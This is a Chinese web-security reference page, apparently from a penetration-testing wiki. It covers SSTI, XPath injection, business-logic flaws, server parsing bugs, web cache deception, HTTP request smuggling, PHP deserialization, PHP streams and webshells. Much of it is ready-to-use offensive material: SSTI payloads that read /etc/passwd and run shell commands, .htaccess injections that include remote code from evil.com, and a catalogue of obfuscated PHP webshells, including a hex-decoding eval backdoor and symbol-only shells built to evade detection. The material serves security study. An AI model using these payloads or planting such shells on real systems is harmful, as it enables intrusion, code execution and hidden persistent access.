    • {% extends "x.html" %}

目标

  • 创建对象
  • 文件读写
  • 远程文件包含
  • 信息泄漏
  • 提权

相关属性

__class__

python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类

__mro__

python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

__globals__

保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用

__subclasses__()

python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。

因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。

常见Payload

  • ().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
  • ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )

绕过技巧

字符串拼接

request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]

使用参数绕过
params = {
    'clas': '__class__',
    'mr': '__mro__',
    'subc': '__subclasses__'
}
data = {
    "data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
}
r = requests.post(url, params=params, data=data)
print(r.text)

Xpath注入

Xpath定义

XPath注入攻击是指利用XPath解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。

Xpath注入攻击原理

XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作,下面以登录验证中的模块为例,说明 XPath注入攻击的实现原理。

在Web 应用程序的登录验证程序中,一般有用户名(username)和密码(password) 两个参数,程序会通过用户所提交输入的用户名和密码来执行授权操作。若验证数据存放在XML文件中,其原理是通过查找user表中的用户名 (username)和密码(password)的结果来进行授权访问,

例存在user.xml文件如下:

<users>
     <user>
         <firstname>Ben</firstname>
         <lastname>Elmore</lastname>
         <loginID>abc</loginID>
         <password>test123</password>
     </user>
     <user>
         <firstname>Shlomy</firstname>
         <lastname>Gantz</lastname>
         <loginID>xyz</loginID>
         <password>123test</password>
     </user>

则在XPath中其典型的查询语句为: //users/user[loginID/text()='xyz'and password/text()='123test']

但是,可以采用如下的方法实施注入攻击,绕过身份验证。如果用 户传入一个 login 和 password,例如 loginID = 'xyz' password = '123test' ,则该查询语句将返回 true。但如果用户传入类似 ' or 1=1 or ''=' 的值,那么该查询语句也会得到 true 返回值,因为 XPath 查询语句最终会变成如下代码://users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']

这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。

逻辑漏洞 / 业务漏洞

简介

逻辑漏洞是指由于程序逻辑不严导致一些逻辑分支处理错误造成的漏洞。

在实际开发中,因为开发者水平不一没有安全意识,而且业务发展迅速内部测试没有及时到位,所以常常会出现类似的漏洞。

安装逻辑

  • 查看能否绕过判定重新安装
  • 查看能否利用安装文件获取信息
  • 看能否利用更新功能获取信息

交易

购买
  • 修改支付的价格
  • 修改支付的状态
  • 修改购买数量为负数
  • 修改金额为负数
  • 重放成功的请求
  • 并发数据库锁处理不当
业务风控
  • 刷优惠券
  • 套现

账户

注册
  • 覆盖注册
  • 尝试重复用户名
  • 注册遍历猜解已有账号
密码
  • 密码未使用哈希算法保存
邮箱用户名
  • 前后空格
  • 大小写变换
手机号用户名
  • 前后空格
  • +86
登录
  • 撞库
  • 账号劫持
  • 恶意尝试帐号密码锁死账户
找回密码
  • 重置任意用户密码
  • 密码重置后新密码在返回包中
  • Token验证逻辑在前端
  • X-Forwarded-Host处理不正确
修改密码
  • 越权修改密码
  • 修改密码没有旧密码验证
申诉
  • 身份伪造
  • 逻辑绕过
更新
  • ORM更新操作不当可更新任意字段
  • 权限限制不当可以越权修改
信息查询
  • 权限限制不当可以越权查询
  • 用户信息ID可以猜测导致遍历

2FA

  • 重置密码后自动登录没有2FA
  • OAuth登录没有启用2FA
  • 2FA可爆破
  • 2FA有条件竞争
  • 修改返回值绕过
  • 激活链接没有启用2FA
  • 可通过CSRF禁用2FA

验证码

  • 验证码可重用
  • 验证码可预测
  • 验证码强度不够
  • 验证码无时间限制或者失效时间长
  • 验证码无猜测次数限制
  • 验证码传递特殊的参数或不传递参数绕过
  • 验证码可从返回包中直接获取
  • 验证码不刷新或无效
  • 验证码数量有限
  • 验证码在数据包中返回
  • 修改Cookie绕过
  • 修改返回包绕过
  • 验证码在客户端生成或校验
  • 验证码可OCR或使用机器学习识别
  • 验证码用于手机短信/邮箱轰炸

Session

  • Session机制
  • Session猜测 / 爆破
  • Session伪造
  • Session泄漏
  • Session Fixation

越权

  • 未授权访问
  • 水平越权
    • 攻击者可以访问与他拥有相同权限的用户的资源
    • 权限类型不变,ID改变
  • 垂直越权
    • 低级别攻击者可以访问高级别用户的资源
    • 权限ID不变,类型改变
  • 交叉越权
    • 权限ID改变,类型改变

随机数安全

  • 使用不安全的随机数发生器
  • 使用时间等易猜解的因素作为随机数种子

其他

  • 用户/订单/优惠券等ID生成有规律,可枚举
  • 接口无权限、次数限制
  • 加密算法实现误用
  • 执行顺序
  • 敏感信息泄露

配置安全

  • 弱密码
    • 位数过低
    • 字符集小
    • 为常用密码
    • 个人信息相关
      • 手机号
      • 生日
      • 姓名
      • 用户名
    • 使用键盘模式做密码
  • 敏感文件泄漏
    • .git
    • .svn
  • 数据库
    • Mongo/Redis等数据库无密码且没有限制访问
  • 加密体系
    • 在客户端存储私钥
  • 三方库/软件
    • 公开漏洞后没有及时更新

中间件

IIS

IIS 6.0
  • 后缀解析 /xx.asp;.jpg
    • 服务器默认不解析 ; 号及其后面的内容,相当于截断。
  • 目录解析 /xx.asp/xx.jpg (xx.asp目录下任意解析)
  • 默认解析 xx.asa xx.cer xx.cdx
  • PROPFIND 栈溢出漏洞
  • RCE CVE-2017-7269
IIS 7.0-7.5 / Nginx <= 0.8.37

在Fast-CGI开启状态下,在文件路径后加上 /xx.php ,即 xx.jpg/xx.php 会被解析为php文件。

PUT漏洞
  • 开启WebDAV
  • 拥有来宾用户,且来宾用户拥有上传权限
  • 可任意文件上传
Windows特性

Windows不允许空格和点以及一些特殊字符作为结尾,创建这样的文件会自动重命名,所以可以使用 xx.php[空格]xx.php.xx.php/xx.php::$DATA 上传脚本文件。

文件名猜解

在支持NTFS 8.3文件格式时,可利用短文件名猜解目录文件。其中短文件名特征如下:

  • 文件名为原文件名前6位字符加上 ~1 ,其中数字部分是递增的,如果存在前缀相同的文件,则后面的数字进行递增。
  • 后缀名不超过3位,超过部分会被截断
  • 所有小写字母均转换成大写的字母
  • 文件名后缀长度大于等于4或者总长度大于等于9时才会生成短文件名,如果包含空格或者其他部分特殊字符,则无视长度条件

IIS 8.0之前的版本支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种,需要安装ASP.NET。而IIS 8.0之后的版本只能通过OPTIONS和TRACE方法猜测成功,但是没有ASP.NET的限制。

这种方法的局限性在于:

  • 文件夹名前6位字符带点”.”,扫描程序会认为是文件而不是文件夹,最终出现误报
  • 不支持中文文件名

这种方法可以通过命令 fsutil behavior set disable8dot3 1 关闭NTFS 8.3文件格式的支持来修复。

Apache

后缀解析

test.php.x1.x2.x3 ( x1,x2,x3 为没有在 mime.types 文件中定义的文件类型)。Apache 将从右往左开始判断后缀, 若x3为非可识别后缀,则判断x2,直到找到可识别后缀为止,然后对可识别后缀进行解析

.htaccess

当AllowOverride被启用时,上传启用解析规则的.htaccess

AddType application/x-httpd-php .jpg
php_value auto_append_file .htaccess
#<?php phpinfo();
Options ExecCGI
AddHandler cgi-script .jpg
Options +ExecCGI
AddHandler fcgid-script .gif
FcgidWrapper "/bin/bash" .gif
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://evil.com/evil-code.txt
目录遍历

配置 Options +Indexes 时Apache存在目录遍历漏洞。

CVE-2017-15715

%0A 绕过上传黑名单。

lighttpd

xx.jpg/xx.php

参考链接

Nginx

Fast-CGI关闭

在Fast-CGI关闭的情况下, Nginx 仍然存在解析漏洞: 在文件路径(xx.jpg)后面加上 %00.php , 即 xx.jpg%00.php 会被当做 php 文件来解析

Fast-CGI开启

在Fast-CGI开启状态下,在文件路径后加上 /xx.php ,则 xx.jpg/xx.php 会被解析为php文件

CVE-2013-4547

a.jpg\x20\x00.php

配置错误
目录穿越

如果配置中存在类似 location /foo { alias /bar/; } 的配置时,/foo../ 会被解析为 /bar/../ 从而导致目录穿越的发生。

目录遍历

配置中 autoindex on 开启时,Nginx中存在目录遍历漏洞。

Web Cache欺骗攻击

简介

网站通常都会通过如CDN、负载均衡器、或者反向代理来实现Web缓存功能。通过缓存频繁访问的文件,降低服务器响应延迟。

例如,网站 htttp://www.example.com 配置了反向代理。对于那些包含用户个人信息的页面,如 http://www.example.com/home.php ,由于每个用户返回的内容有所不同,因此这类页面通常是动态生成,并不会在缓存服务器中进行缓存。通常缓存的主要是可公开访问的静态文件,如css文件、js文件、txt文件、图片等等。此外,很多最佳实践类的文章也建议,对于那些能公开访问的静态文件进行缓存,并且忽略HTTP缓存头。

Web cache攻击类似于RPO相对路径重写攻击,都依赖于浏览器与服务器对URL的解析方式。当访问不存在的URL时,如 http://www.example.com/home.php/non-existent.css ,浏览器发送get请求,依赖于使用的技术与配置,服务器返回了页面 http://www.example.com/home.php 的内容,同时URL地址仍然是 http://www.example.com/home.php/non-existent.css,http头的内容也与直接访问 http://www.example.com/home.php 相同,cacheing header、content-type(此处为text/html)也相同。

漏洞成因

当代理服务器设置为缓存静态文件并忽略这类文件的caching header时,访问 http://www.example.com/home.php/no-existent.css 时,会发生什么呢?整个响应流程如下:

  1. 浏览器请求 http://www.example.com/home.php/no-existent.css ;
  2. 服务器返回 http://www.example.com/home.php 的内容(通常来说不会缓存该页面);
  3. 响应经过代理服务器;
  4. 代理识别该文件有css后缀;
  5. 在缓存目录下,代理服务器创建目录 home.php ,将返回的内容作为 non-existent.css 保存。

漏洞利用

攻击者欺骗用户访问 http://www.example.com/home.php/logo.png?www.myhack58.com ,导致含有用户个人信息的页面被缓存,从而能被公开访问到。更严重的情况下,如果返回的内容包含session标识、安全问题的答案,或者csrf token。这样攻击者能接着获得这些信息,因为通常而言大部分网站静态资源都是公开可访问的。

漏洞存在的条件

漏洞要存在,至少需要满足下面两个条件:

  1. web cache功能根据扩展进行保存,并忽略caching header;
  2. 当访问如 http://www.example.com/home.php/non-existent.css 不存在的页面,会返回 home.php 的内容。

漏洞防御

防御措施主要包括3点:

  1. 设置缓存机制,仅仅缓存http caching header允许的文件,这能从根本上杜绝该问题;
  2. 如果缓存组件提供选项,设置为根据content-type进行缓存;
  3. 访问 http://www.example.com/home.php/non-existent.css 这类不存在页面,不返回 home.php 的内容,而返回404或者302。

Web Cache欺骗攻击实例

Paypal

Paypal在未修复之前,通过该攻击,可以获取的信息包括:用户姓名、账户金额、信用卡的最后4位数、交易数据、emaill地址等信息。 受该攻击的部分页面包括:

  • https://www.paypal.com/myaccount/home/attack.css
  • https://www.paypal.com/myaccount/settings/notifications/attack.css
  • https://history.paypal.com/cgi-bin/webscr/attack.css?cmd=_history-details

HTTP 请求走私

简介

HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术,最早在 2005 年的一篇 文章 中被提出。

成因

请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-LengthTransfer-Encoding 标头。

分类

  • CLTE:前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding
  • TECL:前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。
  • TETE:前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。

攻击

CL不为0的GET请求

当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length 头,不进行处理。例如下面这个例子:

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器处理了 Content-Length ,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求,就造成了漏洞的发生。

CL-CL

根据RFC 7230,当服务器收到的请求中包含两个 Content-Length ,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length 值时,就会出现漏洞。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

这个例子中a就会被带入下一个请求,变为 aGET / HTTP/1.1\r\n

CL-TE

CL-TE指前端服务器处理 Content-Length 这一请求头,而后端服务器遵守RFC2616的规定,忽略掉 Content-Length ,处理 Transfer-Encoding 。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r\n

TE-CL

TE-CL指前端服务器处理 Transfer-Encoding 请求头,而后端服务器处理 Content-Length 请求头。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
TE-TE

TE-TE指前后端服务器都处理 Transfer-Encoding 请求头,但是在容错性上表现不同,例如有的服务器可能会处理 Transfer-encoding ,测试例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

防御

  • 禁用后端连接重用
  • 确保连接中的所有服务器具有相同的配置
  • 拒绝有二义性的请求

语言与框架

PHP

后门

php.ini构成的后门

利用 auto_prepend_file 和 include_path

.user.ini文件构成的PHP后门

.user.ini可运行于所有以fastcgi运行的server。 利用方式同php.ini

反序列化

PHP序列化实现
常见处理器

PHP序列化处理共有几种,分别为php、php_serialize、php_binary和WDDX(需要编译时开启支持),默认为php,可通过配置中的 session.serialize_handler 修改。

如果 PHP 编译时加入了 WDDX 支持,则只能用 WDDX,WDDX从PHP 7.4版本后开始弃用。从 PHP 5.5.4 起可以使用 php_serialize。 php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 php 和 php_binary 所具有的限制。

其中PHP处理器的格式为:键名 + 竖线 + 经过serialize()函数序列化处理的值。

其中php_binary处理器的格式为:键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值。

其中php_serialize处理器的格式为:经过serialize()函数序列化处理的数组。

序列化格式

其中php_serialize的实现在 php-src/ext/standard/var.c 中,主要函数为 php_var_serialize_intern ,序列化后的格式如下:

  • boolean
    • b:<value>;
    • b:1; // true
    • b:0; // false
  • integer
    • i:<value>;
  • double
    • d:<value>;
  • NULL
    • N;
  • string
    • s:<length>:"<value>";
    • s:1:"s";
  • array
    • a:<length>:{key, value};
    • a:1:{s:4:"key1";s:6:"value1";} // array("key1" => "value1");
  • object
    • O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
  • reference
    • 指针类型
    • R:reference;
    • O:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}
    • $a = new A();$a->a=1;$a->b=&$a->a;
private与protect

private与protect变量和public变量不同,不能直接设置。

private属性只能在其被定义的类内部访问,且不会被继承,在属性前加上类名,即 %00className%00 用于标定其是私有的。

protected属性可以在父类和子类中访问,变量前添加 %00*%00 用于标定其是受保护的。

PHP反序列化漏洞

php在反序列化的时候会调用 __wakeup / __sleep 等函数,可能会造成代码执行等问题。若没有相关函数,在析构时也会调用相关的析构函数,同样会造成代码执行。

另外 __toString / __call 两个函数也有利用的可能。

其中 __wakeup 在反序列化时被触发,__destruct 在GC时被触发, __toString 在echo时被触发, __call 在一个未被定义的函数调用时被触发。

下面提供一个简单的demo.

class Demo
{

    public $data;

    public function __construct($data)
    {
        $this->data = $data;
        echo "construct<br />";
    }

    public function __wakeup()
    {
        echo "wake up<br />";
    }

    public function __destruct()
    {
        echo "Data's value is $this->data. <br />";
        echo "destruct<br />";
    }
}

var_dump(serialize(new Demo("raw value")));

输出

construct
Data's value is raw value.
destruct
string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"

把序列化的字符串修改一下后,执行

unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');

输出

wake up
Data's value is malicious value.
destruct

这里看到,值被修改了.

上面是一个 unserialize() 的简单应用,不难看出,如果 __wakeup() 或者 __desturct() 有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。

那么,在 __wakeup() 中加入判断是否可以阻止这个漏洞呢? 在 __wakeup() 中我们加入一行代码

public function __wakeup()
{
    if($this->data != 'raw value') $this->data = 'raw value';
    echo "wake up<br />";
}

但其实还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过,于是使用下面的payload

unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');

输出

Data's value is malicious value.
destruct

这里wakeup被绕过,值依旧被修改了。

利用点
SoapClient 原生利用

php中的SoapClient类可以创建soap数据报文,在非wsdl模式下,SoapClient的实例反序列化的时候会对第二个参数指明的url进行soap请求,该特性可用于SSRF。

ZipArchive 原生利用

php原生类 ZipArchive::open() 中的flag参数如果设置为 ZipArchive::OVERWRITE 时,会删除指定文件,该特性在一定条件下可以用于删除文件。

Session

PHP中session默认是以文件形式存储的,文件以sess_sessionid命名,在session一定程度可控的情况下,可通过session触发反序列化。

相关CVE
CVE-2016-7124

在PHP 5.6.25 之前版本和 7.0.10 之前的版本,当对象的属性(变量)数大于实际的个数时, __wakeup() 不会被执行。

Disable Functions

机制实现

PHP中Disable Function的实现是在php-src/Zend/Zend-API.c中。PHP在启动时,读取配置文件中禁止的函数,逐一根据禁止的函数名调用 zend_disable_function 来实现禁止的效果。

这个函数根据函数名在内置函数列表中找到对应的位置并修改掉,当前版本的代码如下:

ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) /* {{{ */
{
    zend_internal_function *func;
    if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) {
        zend_free_internal_arg_info(func);
        func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE);
        func->num_args = 0;
        func->arg_info = NULL;
        func->handler = ZEND_FN(display_disabled_function);
        return SUCCESS;
    }
    return FAILURE;
}

和函数的实现方式类似,disable classes也是这样实现的

ZEND_API int zend_disable_class(char *class_name, size_t class_name_length) /* {{{ */
{
    zend_class_entry *disabled_class;
    zend_string *key;

    key = zend_string_alloc(class_name_length, 0);
    zend_str_tolower_copy(ZSTR_VAL(key), class_name, class_name_length);
    disabled_class = zend_hash_find_ptr(CG(class_table), key);
    zend_string_release_ex(key, 0);
    if (!disabled_class) {
        return FAILURE;
    }
    INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new);
    disabled_class->create_object = display_disabled_class;
    zend_hash_clean(&disabled_class->function_table);
    return SUCCESS;
}

因为这个实现机制的原因,在PHP启动后通过 ini_set 来修改 disable_functionsdisable_classes 是无效的。

Open Basedir

机制实现

PHP中Disable Function的实现是在php-src/main/fopen-wrappers.c中,实现方式是在调用文件等相关操作时调用函数根据路径来检查是否在basedir内,其中一部分实现代码如下:

PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
{
    /* Only check when open_basedir is available */
    if (PG(open_basedir) && *PG(open_basedir)) {
        char *pathbuf;
        char *ptr;
        char *end;

        /* Check if the path is too long so we can give a more useful error
        * message. */
        if (strlen(path) > (MAXPATHLEN - 1)) {
            php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
            errno = EINVAL;
            return -1;
        }

        pathbuf = estrdup(PG(open_basedir));

        ptr = pathbuf;

        while (ptr && *ptr) {
            end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
            if (end != NULL) {
                *end = '\0';
                end++;
            }

            if (php_check_specific_open_basedir(ptr, path) == 0) {
                efree(pathbuf);
                return 0;
            }

            ptr = end;
        }
        if (warn) {
            php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));
        }
        efree(pathbuf);
        errno = EPERM; /* we deny permission to open it */
        return -1;
    }

    /* Nothing to check... */
    return 0;
}

安全相关配置

函数与类限制

可通过 disable_functions / disable_classes 限制PHP可调用的函数和类。

目录访问限制

可通过 open_basedir 限制PHP可访问的目录。

远程引用限制

可通过 all_url_include 限制远程文件包含,默认关闭。 可通过 allow_url_fopen 限制打开远程文件,默认开启。

Session
Session.Save

PHP的Session默认handler为文件,存储在 php.ini 的 session.save_path 中,若有任意读写文件的权限,则可修改或读取session。从phpinfo中可获得session位置。

Session.Upload

PHP默认开启了 session.upload_progress.enabled , 该选项会导致生成上传进度文件,其存储路径可以在phpinfo中获取。

那么可以构造特别的报文向服务器发送,在有LFI的情况下即可利用。

PHP流

简介

流(Streams)的概念是在php 4.3引入的,是对流式数据的抽象,用于统一数据操作,比如文件数据、网络数据、压缩数据等。

流可以通过file、open、fwrite、fclose、file_get_contents、 file_put_contents等函数操作。

封装协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。支持的协议可用 stream_get_wrappers() 查看。

  • file:// 访问本地文件系统
  • http:// 访问 HTTP(s) 网址
  • ftp:// 访问 FTP(s) URLs
  • php:// 访问各个输入/输出流(I/O streams)
  • zlib:// 压缩流
  • data:// 数据(RFC 2397)
  • glob:// 查找匹配的文件路径模式
  • phar:// PHP 归档
  • ssh2:// Secure Shell 2
  • rar:// RAR
  • ogg:// 音频流
  • expect:// 处理交互式的流
PHP支持流

PHP 提供了一些输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

需要注意的是,流不受 allow_url_fopen 限制,但是 php://inputphp://stdinphp://memoryphp://temp 受限于 allow_url_include

输入输出流

php://stdinphp://stdoutphp://stderr 允许直接访问 PHP 进程相应的输入或者输出流。数据流引用了复制的文件描述符,所以如果在打开 php://stdin 并在之后关了它,仅是关闭了复制品,真正被引用的 STDIN 并不受影响。

其中 php://stdin 是只读的, php://stdoutphp://stderr 是只写的。

fd

php://fd 允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。

memory与temp

php://memoryphp://temp 是一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。

php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。

input

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充,比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype="multipart/form-data" 的时候 php://input 是无效的。

filter

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。PHP默认提供了一些流过滤器,除此之外,还可以使用各种自定义过滤器。

filter有resource, read, write三个参数,resource参数是必须的。它指定了你要筛选过滤的数据流。 read和write是可选参数,可以设定一个或多个过滤器名称,以管道符(|)分隔。

过滤器列表

可以通过 stream_get_filters() 获取已经注册的过滤器列表。其中PHP内置的过滤器如下:

  • 字符串过滤器
    • string.rot13
    • string.toupper
    • string.tolower
    • string.strip_tags
  • 转换过滤器
    • convert.base64-encode
    • convert.base64-decode
    • convert.quoted-printable-encode
    • convert.quoted-printable-decode
    • convert.iconv.*
  • 压缩过滤器
    • zlib.deflate
    • zlib.inflate
    • bzip2.compress
    • bzip2.decompress
  • 加密过滤器
    • mcrypt.``ciphername``
    • mdecrypt.``ciphername``
过滤器利用tricks
  • LFI
    • php://filter/convert.base64-encode/resource=index.php
  • XXE读取文件时会因而解析报错,可用base64编码
  • base64编码会弃掉未在码表内的字符,可用于绕过一些文件格式
  • 部分 convert 会有大量的资源消耗,可用作DoS
  • rot13 / convert 转换 过WAF

htaccess injection payload

file inclusion
php_value auto_append_file /etc/hosts
code execution
php_value auto_append_file .htaccess
#<?php phpinfo();
file inclusion
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt
code execution with UTF-7
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs
Source code disclosure
php_flag engine 0

WebShell

常见变形
  • GLOBALS
    • eval($GLOBALS['_POST']['op']);
  • $_FILE
    • eval($_FILE['name']);
  • 拆分
    • eval(${"_PO"."ST"} ['sz']);
  • 动态函数执行
    • $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
    • $a=$_GET['a'];$a($_GET['b']);
  • create_function
    • $function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();
  • preg_replace
  • 变形
    • str_replace(" ", "e v a l")
  • 进制转化
    • "\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"
  • 进制运算
    • ("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
  • 自增运算
    • $a="a";$a++;
  • 强制类型转换
    • $a='';$a.=[]; // Array
  • 利用文件名
    • __FILE__
  • 注释
    • $a="e"."v"./*-/*-*/"a"./*-*/"l";
  • 反射
    • ReflectionFunction
Bypass
  • 基于少见函数
    • mb_eregi_replace('.*',$_GET[1],'','e');
    • set_error_handler + trigger_error
  • 基于污染传播
    • putenv($_GET["c"]);eval(getenv('path'));
    • parse_str
    • parse_url
    • extract
    • token_get_all
    • define
  • 基于少见源
    • $a = filter_input(INPUT_GET,'c');
    • eval(end(getallheaders()));
    • get_defined_vars
    • getallheaders
    • get_meta_tags
    • phpinfo
    • 外部变量 / 文件信息
    • 重载 toString
字符串变形函数
  • base64_decode
  • base64_encode
  • str_replace
  • str_rot13
  • strtok
  • strtolower
  • strtoupper
  • strtr
  • substr
  • substr_replace
  • trim
  • ucfirst
  • ucwords
回调函数
  • array_filter
  • array_map
  • array_reduce
  • array_walk
  • array_walk
  • array_walk_recursive
  • call_user_func
  • call_user_func_array
  • filter_var
  • filter_var_array
  • preg_replace_callback
  • register_tick_function
  • registregister_shutdown_function
  • uasort
  • uksort
加解密函数
  • mcrypt_encrypt
  • openssl_encrypt
其他执行方式
  • FFI
  • SimpleXML
  • SimpleXMLElement
自定义函数

使用自定义的加解密函数,在一定程度上可以绕过一些防护软件的查杀,下面的代码是一个基于十六进制的执行的简单例子。

$string = '';
$password = 'password';
if(isset($_POST[$password])){
    $hex = $_POST[$password];
    for($i = 0; $i < strlen($hex) - 1; $i += 2) {
        $string .= chr(hexdec($hex[$i] . $hex[$i + 1]));
    }
}
eval($string);
特殊字符Shell

PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell。

<?=`{${~"\xa0\xb8\xba\xab"}[~"\xa0"]}`;
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
